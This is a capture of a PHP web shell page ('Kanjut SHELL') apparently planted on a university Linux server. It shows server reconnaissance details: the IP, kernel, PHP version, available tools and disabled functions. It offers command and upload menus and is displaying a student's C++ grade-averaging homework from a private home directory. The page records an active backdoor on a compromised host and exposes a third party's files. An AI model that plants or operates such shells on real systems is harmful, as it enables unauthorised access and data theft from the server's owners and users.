Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.116.40.53
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/mrlong/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mrlong/homework3.cpp
//	Miles Long
//	Instructor: Dr. Wang
//	Due date: 02/20/08
//	File name: Homework3.cpp
//	
//	Student class with the following data members: name, age, 
//	test1, test2, and final. Its function members are defined as needed.
//	Also outputs each student's average, class average, and the 
//	average age of students.
//	Ctrl - D to finish program after inputting information.


#include <iostream>
#include <iomanip>

using namespace std;

class Student
{
private:
	string name;
	int age, test1, test2, final;

public:
	Student()	// default constructor
	{	name = "xxx xxx"; age=0, test1=0; test2=0; 
			final=0; }
	Student(string n, int ae, int t1, int t2, int fl)
        {       name=n; age=ae; test1=t1; test2=t2; final=fl;}
	void Set(string n, int ae, int t1, int t2, int fl)
	{	name=n; age=ae; test1=t1; test2=t2; final=fl;}
	float avg() const	// observer
	{	float t;
		t = (test1+test2+final)/4.0;
		return t;
	}
	int Age() const
	{	
		return age;
	}
		
	void Print() const
	{	cout << "Name: " << name << ", Age: " << age
			<<", First two test scores: " << test1 << ", " 
			<< test2 << ", Final: " << final << endl;  
			cout << "Avg: " << avg();
	}
};

int main()
{
	Student me;	// invoke default
	me.Print();
	cout << "\n---------\n\n";
	string n; 
	char dummy;
	int ae, t1, t2, fl;
	float total = 0; 
	int size=0;
	int trusize;
        float class_avg;
        float class_age;
        cout << fixed << showpoint << setprecision(1);


	getline(cin, n);	
	while(cin)
	{
		cin >> ae >> t1 >> t2 >> fl;
		me.Set(n, ae, t1, t2, fl);
		me.Print();
		cout << "\n---------\n\n";
		total += me.avg();
		//ae = me.Age();				
		size ++;
               	class_age += ae;

		cin.get(dummy);         // drop '\n'
		getline(cin, n);
	}

	cout << "Class size: " << size << endl;
        
	class_avg = total / float(size);
        cout << "Class average: " << class_avg << endl;
        class_age = class_age / float(size);
        cout << "Class age average: " << class_age << endl;


	cout << "\n\nDone.\n\n\n";
	
	return 0;
}


Stv3n404 - 2023